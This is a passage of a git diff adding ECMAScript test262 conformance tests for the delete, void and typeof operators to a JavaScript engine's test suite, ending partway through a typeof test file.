new file mode 100644
index 000000000..109216dea
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.4-4.a-3-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.4-4.a-3-s.js
+ * @description delete operator throws TypeError when deleting a non-configurable data property in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ var o = {};
+ var desc = { value : 1 }; // all other attributes default to false
+ Object.defineProperty(o, "foo", desc);
+
+ // Now, deleting o.foo should throw TypeError because [[Configurable]] on foo is false.
+ try {
+ delete o.foo;
+ return false;
+ }
+ catch (e) {
+ return (e instanceof TypeError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A1.js b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A1.js
new file mode 100644
index 000000000..35764288f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "delete" and UnaryExpression are allowed
+ *
+ * @path ch11/11.4/11.4.1/S11.4.1_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("delete\u00090") !== true) {
+ $ERROR('#1: delete\\u00090 === true');
+}
+
+//CHECK#2
+if (eval("delete\u000B0") !== true) {
+ $ERROR('#2: delete\\u000B0 === true');
+}
+
+//CHECK#3
+if (eval("delete\u000C0") !== true) {
+ $ERROR('#3: delete\\u000C0 === true');
+}
+
+//CHECK#4
+if (eval("delete\u00200") !== true) {
+ $ERROR('#4: delete\\u00200 === true');
+}
+
+//CHECK#5
+if (eval("delete\u00A00") !== true) {
+ $ERROR('#5: delete\\u00A00 === true');
+}
+
+//CHECK#6
+if (eval("delete\u000A0") !== true) {
+ $ERROR('#6: delete\\u000A0 === true');
+}
+
+//CHECK#7
+if (eval("delete\u000D0") !== true) {
+ $ERROR('#7: delete\\u000D0 === true');
+}
+
+//CHECK#8
+if (eval("delete\u20280") !== true) {
+ $ERROR('#8: delete\\u20280 === true');
+}
+
+//CHECK#9
+if (eval("delete\u20290") !== true) {
+ $ERROR('#9: delete\\u20290 === true');
+}
+
+//CHECK#10
+if (eval("delete\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20290") !== true) {
+ $ERROR('#10: delete\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20290 === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A2.1.js b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A2.1.js
new file mode 100644
index 000000000..b993e4a9d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A2.1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is not Reference, return true
+ *
+ * @path ch11/11.4/11.4.1/S11.4.1_A2.1.js
+ * @description Checking primitive value and Object value cases
+ */
+
+//CHECK#1
+if (delete 1 !== true) {
+ $ERROR('#1: delete 1 === true');
+}
+
+//CHECK#2
+if (delete new Object() !== true) {
+ $ERROR('#2: delete new Object() === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A2.2_T1.js b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A2.2_T1.js
new file mode 100644
index 000000000..97fd10939
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A2.2_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If GetBase(x) doesn't have a property GetPropertyName(x), return true
+ *
+ * @path ch11/11.4/11.4.1/S11.4.1_A2.2_T1.js
+ * @description Checking undeclared variable case
+ */
+
+//CHECK#1
+if (delete x !== true) {
+ $ERROR('#1: delete x === true');
+}
+
+//CHECK#2
+if (delete this.x !== true) {
+ $ERROR('#2: delete this.x === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A2.2_T2.js b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A2.2_T2.js
new file mode 100644
index 000000000..e5c0cbe54
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A2.2_T2.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If GetBase(x) doesn't have a property GetPropertyName(x), return true
+ *
+ * @path ch11/11.4/11.4.1/S11.4.1_A2.2_T2.js
+ * @description Checking Object object and Function object cases
+ */
+
+//CHECK#1
+function MyFunction(){}
+var MyObject = new MyFunction();
+if (delete MyObject.prop !== true) {
+ $ERROR('#1: function MyFunction(){}; var MyObject = new MyFunction(); delete MyObject.prop === true');
+}
+
+//CHECK#2
+var MyObject = new Object();
+if (delete MyObject.prop !== true) {
+ $ERROR('#2: var MyObject = new Object(); delete MyObject.prop === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A3.1.js b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A3.1.js
new file mode 100644
index 000000000..b1edccca9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A3.1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If the property has the DontDelete attribute, return false
+ *
+ * @path ch11/11.4/11.4.1/S11.4.1_A3.1.js
+ * @description Checking declared variable
+ */
+
+//CHECK#1
+var x = 1;
+if (delete x !== false) {
+ $ERROR('#1: var x = 1; delete x === false');
+}
+
+//CHECK#2
+var y = 1;
+if (delete this.y !== false) {
+ $ERROR('#2: var y = 1; delete this.y === false');
+}
+
+//CHECK#3
+function MyFunction(){};
+if (delete MyFunction !== false) {
+ $ERROR('#3: function MyFunction(){}; delete MyFunction === false');
+}
+
+//CHECK#4
+function MyFunction(){};
+var MyObject = new MyFunction();
+if (delete MyObject !== false) {
+ $ERROR('#4: function MyFunction(){}; var MyObject = new MyFunction(); delete MyObject === false');
+}
+
+//CHECK#5
+if (delete MyObject !== false) {
+ $ERROR('#5: function MyFunction(){}; var MyObject = new MyFunction(); delete MyObject === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A3.2.js b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A3.2.js
new file mode 100644
index 000000000..bee091183
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A3.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If the property doesn't have the DontDelete attribute, return true
+ *
+ * @path ch11/11.4/11.4.1/S11.4.1_A3.2.js
+ * @description Checking declared variable
+ */
+
+//CHECK#1
+x = 1;
+if (delete x !== true) {
+ $ERROR('#1: x = 1; delete x === true');
+}
+
+//CHECK#2
+function MyFunction(){};
+MyFunction.prop = 1;
+if (delete MyFunction.prop !== true) {
+ $ERROR('#2: function MyFunction(){}; MyFunction.prop = 1; delete MyFunction.prop === true');
+}
+
+//CHECK#3
+function MyFunction(){};
+var MyObject = new MyFunction();
+MyObject.prop = 1;
+if (delete MyObject.prop !== true) {
+ $ERROR('#3: function MyFunction(){}; var MyObject = new MyFunction(); MyFunction.prop = 1; delete MyObject.prop === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A3.3.js b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A3.3.js
new file mode 100644
index 000000000..e396ee626
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A3.3.js
@@ -0,0 +1,61 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If the property doesn't have the DontDelete attribute, remove the property
+ *
+ * @path ch11/11.4/11.4.1/S11.4.1_A3.3.js
+ * @description Checking declared variable
+ */
+
+//CHECK#1
+try {
+ x = 1;
+ delete x;
+ x;
+ $ERROR('#1: x = 1; delete x; x is not exist');
+} catch (e) {
+ if (e instanceof ReferenceError !== true) {
+ $ERROR('#1: x = 1; delete x; x is not exist');
+ }
+}
+
+
+//CHECK#2
+function MyFunction(){};
+MyFunction.prop = 1;
+delete MyFunction.prop;
+if (MyFunction.prop !== undefined) {
+ $ERROR('#2: function MyFunction(){}; MyFunction.prop = 1; delete MyFunction.prop; MyFunction.prop === undefined. Actual: ' + (MyFunction.prop));
+
+}
+
+//CHECK#3
+function MyFunction(){};
+var MyObjectVar = new MyFunction();
+MyObjectVar.prop = 1;
+delete MyObjectVar.prop;
+if (MyObjectVar.prop !== undefined) {
+ $ERROR('#3: function MyFunction(){}; var MyObjectVar = new MyFunction(); MyFunction.prop = 1; delete MyObjectVar.prop; MyObjectVar.prop === undefined. Actual: ' + (MyObjectVar.prop));
+}
+
+//CHECK#4
+if (delete MyObjectVar !== false) {
+ $ERROR('#4: function MyFunction(){}; var MyObjectVar = new MyFunction(); delete MyObjectVar === false');
+}
+
+//CHECK#5
+function MyFunction(){};
+MyObjectNotVar = new MyFunction();
+MyObjectNotVar.prop = 1;
+delete MyObjectNotVar.prop;
+if (MyObjectNotVar.prop !== undefined) {
+ $ERROR('#5: function MyFunction(){}; MyObjectNotVar = new MyFunction(); MyFunction.prop = 1; delete MyObjectNotVar.prop; MyObjectNotVar.prop === undefined. Actual: ' + (MyObjectNotVar.prop));
+}
+
+//CHECK#6
+if (delete MyObjectNotVar !== true) {
+ $ERROR('#6: function MyFunction(){}; var MyObjectNotVar = new MyFunction(); delete MyObjectNotVar === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A4.js b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A4.js
new file mode 100644
index 000000000..a534ce959
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A4.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "Delete" operator removes property, which is reference to the object, not the object
+ *
+ * @path ch11/11.4/11.4.1/S11.4.1_A4.js
+ * @description Checking two reference by one object
+ */
+
+//CHECK#1
+var obj = new Object();
+var ref = obj;
+delete ref;
+if (typeof obj !== "object") {
+ $ERROR('#1: obj = new Object(); ref = obj; delete ref; typeof obj === "object". Actual: ' + (typeof obj));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A5.js b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A5.js
new file mode 100644
index 000000000..2fd5f5243
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/S11.4.1_A5.js
@@ -0,0 +1,35 @@
+// Copyright 2011 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A strict delete should either succeed, returning true, or it
+ * should fail by throwing a TypeError. Under no circumstances
+ * should a strict delete return false.
+ *
+ * @path ch11/11.4/11.4.1/S11.4.1_A5.js
+ * @description See if a strict delete returns false when deleting a
+ * non-standard property.
+ * @onlyStrict
+ */
+
+"use strict";
+
+var reNames = Object.getOwnPropertyNames(RegExp);
+for (var i = 0, len = reNames.length; i < len; i++) {
+ var reName = reNames[i];
+ if (reName !== 'prototype') {
+ var deleted = 'unassigned';
+ try {
+ deleted = delete RegExp[reName];
+ } catch (err) {
+ if (!(err instanceof TypeError)) {
+ $ERROR('#1: strict delete threw a non-TypeError: ' + err);
+ }
+ // fall through
+ }
+ if (deleted === false) {
+ $ERROR('#2: Strict delete returned false');
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/browser.js b/js/src/tests/test262/ch11/11.4/11.4.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/shell.js b/js/src/tests/test262/ch11/11.4/11.4.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A1.js b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A1.js
new file mode 100644
index 000000000..6211fc242
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "void" and UnaryExpression are allowed
+ *
+ * @path ch11/11.4/11.4.2/S11.4.2_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("void\u00090") !== undefined) {
+ $ERROR('#1: void\\u00090 === undefined');
+}
+
+//CHECK#2
+if (eval("void\u000B0") !== undefined) {
+ $ERROR('#2: void\\u000B0 === undefined');
+}
+
+//CHECK#3
+if (eval("void\u000C0") !== undefined) {
+ $ERROR('#3: void\\u000C0 === undefined');
+}
+
+//CHECK#4
+if (eval("void\u00200") !== undefined) {
+ $ERROR('#4: void\\u00200 === undefined');
+}
+
+//CHECK#5
+if (eval("void\u00A00") !== undefined) {
+ $ERROR('#5: void\\u00A00 === undefined');
+}
+
+//CHECK#6
+if (eval("void\u000A0") !== undefined) {
+ $ERROR('#6: void\\u000A0 === undefined');
+}
+
+//CHECK#7
+if (eval("void\u000D0") !== undefined) {
+ $ERROR('#7: void\\u000D0 === undefined');
+}
+
+//CHECK#8
+if (eval("void\u20280") !== undefined) {
+ $ERROR('#8: void\\u20280 === undefined');
+}
+
+//CHECK#9
+if (eval("void\u20290") !== undefined) {
+ $ERROR('#9: void\\u20290 === undefined');
+}
+
+//CHECK#10
+if (eval("void\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20290") !== undefined) {
+ $ERROR('#10: void\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20290 === undefined');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A2_T1.js b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A2_T1.js
new file mode 100644
index 000000000..bb2ba2a9d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A2_T1.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "void" uses GetValue
+ *
+ * @path ch11/11.4/11.4.2/S11.4.2_A2_T1.js
+ * @description Either Type(x) is not Reference or GetBase(x) is not null
+ */
+
+//CHECK#1
+if (void 0 !== undefined) {
+ $ERROR('#1: void 0 === undefined. Actual: ' + (void 0));
+}
+
+//CHECK#2
+var x = 0;
+if (void x !== undefined) {
+ $ERROR('#2: var x = 0; void x === undefined. Actual: ' + (void x));
+}
+
+//CHECK#3
+var x = new Object();
+if (void x !== undefined) {
+ $ERROR('#3: var x = new Object(); void x === undefined. Actual: ' + (void x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A2_T2.js b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A2_T2.js
new file mode 100644
index 000000000..a6074837a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A2_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "void" uses GetValue
+ *
+ * @path ch11/11.4/11.4.2/S11.4.2_A2_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ * @negative
+ */
+
+//CHECK#1
+void x;
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T1.js b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T1.js
new file mode 100644
index 000000000..169eeb6c8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "void" evaluates UnaryExpression and returns undefined
+ *
+ * @path ch11/11.4/11.4.2/S11.4.2_A4_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+var x = false;
+if (void x !== undefined) {
+ $ERROR('#1: var x = false; void x === undefined. Actual: ' + (void x));
+}
+
+//CHECK#2
+var x = new Boolean(true);
+if (void x !== undefined) {
+ $ERROR('#2: var x = new Boolean(true); void x === undefined. Actual: ' + (void x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T2.js b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T2.js
new file mode 100644
index 000000000..0175474af
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "void" evaluates UnaryExpression and returns undefined
+ *
+ * @path ch11/11.4/11.4.2/S11.4.2_A4_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+var x = 0.1;
+if (void x !== undefined) {
+ $ERROR('#1: var x = 0.1; void x === undefined. Actual: ' + (void x));
+}
+
+//CHECK#2
+var x = new Number(-1.1);
+if (void x !== undefined) {
+ $ERROR('#2: var x = new Number(-1.1); void x === undefined. Actual: ' + (void x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T3.js b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T3.js
new file mode 100644
index 000000000..884b84af4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "void" evaluates UnaryExpression and returns undefined
+ *
+ * @path ch11/11.4/11.4.2/S11.4.2_A4_T3.js
+ * @description Type(x) is string primitive of String object
+ */
+
+//CHECK#1
+var x = "1";
+if (void x !== undefined) {
+ $ERROR('#1: var x = "1"; void x === undefined. Actual: ' + (void x));
+}
+
+//CHECK#2
+var x = "x";
+if (isNaN(void x) !== true) {
+ $ERROR('#2: var x = "x"; void x === undefined. Actual: ' + (void x));
+}
+
+//CHECK#3
+var x = new String("-1");
+if (void x !== undefined) {
+ $ERROR('#3: var x = new String("-1"); void x === undefined. Actual: ' + (void x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T4.js b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T4.js
new file mode 100644
index 000000000..d6da81854
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T4.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "void" evaluates UnaryExpression and returns undefined
+ *
+ * @path ch11/11.4/11.4.2/S11.4.2_A4_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+var x;
+if (isNaN(void x) !== true) {
+ $ERROR('#1: var x; void x === undefined. Actual: ' + (void x));
+}
+
+//CHECK#2
+var x = null;
+if (void x !== undefined) {
+ $ERROR('#2: var x = null; void x === undefined. Actual: ' + (void x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T5.js b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T5.js
new file mode 100644
index 000000000..2be1def15
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T5.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "void" evaluates UnaryExpression and returns undefined
+ *
+ * @path ch11/11.4/11.4.2/S11.4.2_A4_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+var x = {};
+if (isNaN(void x) !== true) {
+ $ERROR('#1: var x = {}; void x === undefined. Actual: ' + (void x));
+}
+
+//CHECK#2
+var x = function(){return 1};
+if (isNaN(void x) !== true) {
+ $ERROR('#2: var x = function(){return 1}; void x === undefined. Actual: ' + (void x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T6.js b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T6.js
new file mode 100644
index 000000000..40c184cbe
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/S11.4.2_A4_T6.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "void" evaluates UnaryExpression and returns undefined
+ *
+ * @path ch11/11.4/11.4.2/S11.4.2_A4_T6.js
+ * @description Checking Simple Assignment operator
+ */
+
+//CHECK#1
+var x = 0;
+if (void (x = 1) !== undefined) {
+ $ERROR('#1: var x = 0; void (x = 1) === undefined. Actual: ' + (void (x = 1)));
+} else {
+ if (x !== 1) {
+ $ERROR('#1: var x = 0; void (x = 1); x === 1. Actual: ' + (x));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/browser.js b/js/src/tests/test262/ch11/11.4/11.4.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.2/shell.js b/js/src/tests/test262/ch11/11.4/11.4.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A1.js b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A1.js
new file mode 100644
index 000000000..5021bab91
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "typeof" and UnaryExpression are allowed
+ *
+ * @path ch11/11.4/11.4.3/S11.4.3_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("var x = 0; typeof\u0009x") !== "number") {
+ $ERROR('#1: var x = 0; typeof\\u0009x; x === "number". Actual: ' + (x));
+}
+
+//CHECK#2
+if (eval("var x = 0; typeof\u000Bx") !== "number") {
+ $ERROR('#2: var x = 0; typeof\\u000Bx; x === "number". Actual: ' + (x));
+}
+
+//CHECK#3
+if (eval("var x = 0; typeof\u000Cx") !== "number") {
+ $ERROR('#3: var x = 0; typeof\\u000Cx; x === "number". Actual: ' + (x));
+}
+
+//CHECK#4
+if (eval("var x = 0; typeof\u0020x") !== "number") {
+ $ERROR('#4: var x = 0; typeof\\u0020x; x === "number". Actual: ' + (x));
+}
+
+//CHECK#5
+if (eval("var x = 0; typeof\u00A0x") !== "number") {
+ $ERROR('#5: var x = 0; typeof\\u00A0x; x === "number". Actual: ' + (x));
+}
+
+//CHECK#6
+if (eval("var x = 0; typeof\u000Ax") !== "number") {
+ $ERROR('#6: var x = 0; typeof\\u000Ax; x === "number". Actual: ' + (x));
+}
+
+//CHECK#7
+if (eval("var x = 0; typeof\u000Dx") !== "number") {
+ $ERROR('#7: var x = 0; typeof\\u000Dx; x === "number". Actual: ' + (x));
+}
+
+//CHECK#8
+if (eval("var x = 0; typeof\u2028x") !== "number") {
+ $ERROR('#8: var x = 0; typeof\\u2028x; x === "number". Actual: ' + (x));
+}
+
+//CHECK#9
+if (eval("var x = 0; typeof\u2029x") !== "number") {
+ $ERROR('#9: var x = 0; typeof\\u2029x; x === "number". Actual: ' + (x));
+}
+
+//CHECK#10
+if (eval("var x = 0; typeof\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029x") !== "number") {
+ $ERROR('#10: var x = 0; typeof\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029x; x === "number". Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A2_T1.js b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A2_T1.js
new file mode 100644
index 000000000..02217c333
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A2_T1.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "typeof" uses GetValue
+ *
+ * @path ch11/11.4/11.4.3/S11.4.3_A2_T1.js
+ * @description Either Type(x) is not Reference or GetBase(x) is not null
+ */
+
+//CHECK#1
+if (typeof 0 !== "number") {
+ $ERROR('#1: typeof 0 === "number". Actual: ' + (typeof 0));
+}
+
+//CHECK#2
+var x = 0;
+if (typeof x !== "number") {
+ $ERROR('#2: typeof x === "number". Actual: ' + (typeof x));
+}
+
+//CHECK#3
+var x = new Object();
+if (typeof x !== "object") {
+ $ERROR('#3: var x = new Object(); typeof x === "object". Actual: ' + (typeof x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A2_T2.js b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A2_T2.js
new file mode 100644
index 000000000..4030c1257
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A2_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "typeof" uses GetValue
+ *
+ * @path ch11/11.4/11.4.3/S11.4.3_A2_T2.js
+ * @description If GetBase(x) is null, return "undefined"
+ */
+
+//CHECK#1
+if (typeof x !== "undefined") {
+ $ERROR('#1: typeof x === "undefined". Actual: ' + (typeof x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.1.js b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.1.js
new file mode 100644
index 000000000..1609ad326
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of applying "typeof" operator to undefined is "undefined"
+ *
+ * @path ch11/11.4/11.4.3/S11.4.3_A3.1.js
+ * @description typeof undefined === "undefined"
+ */
+
+//CHECK#1
+if (typeof undefined !== "undefined") {
+ $ERROR('#1: typeof undefined === "undefined". Actual: ' + (typeof undefined));
+}
+
+//CHECK#2
+if (typeof void 0 !== "undefined") {
+ $ERROR('#2: typeof void 0 === "undefined". Actual: ' + (typeof void 0));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.2.js b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.2.js
new file mode 100644
index 000000000..94353f557
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of applying "typeof" operator to null is "object"
+ *
+ * @path ch11/11.4/11.4.3/S11.4.3_A3.2.js
+ * @description typeof null === "object"
+ */
+
+//CHECK#1
+if (typeof null !== "object") {
+ $ERROR('#1: typeof null === "object". Actual: ' + (typeof null));
+}
+
+//CHECK#2
+if (typeof RegExp("0").exec("1") !== "object") {
+ $ERROR('#2: typeof RegExp("0").exec("1") === "object". Actual: ' + (typeof RegExp("0").exec("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.3.js b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.3.js
new file mode 100644
index 000000000..70dcf3ec6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.3.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of applying "typeof" operator to boolean is "boolean"
+ *
+ * @path ch11/11.4/11.4.3/S11.4.3_A3.3.js
+ * @description typeof (boolean value) === "boolean"
+ */
+
+//CHECK#1
+if (typeof true !== "boolean") {
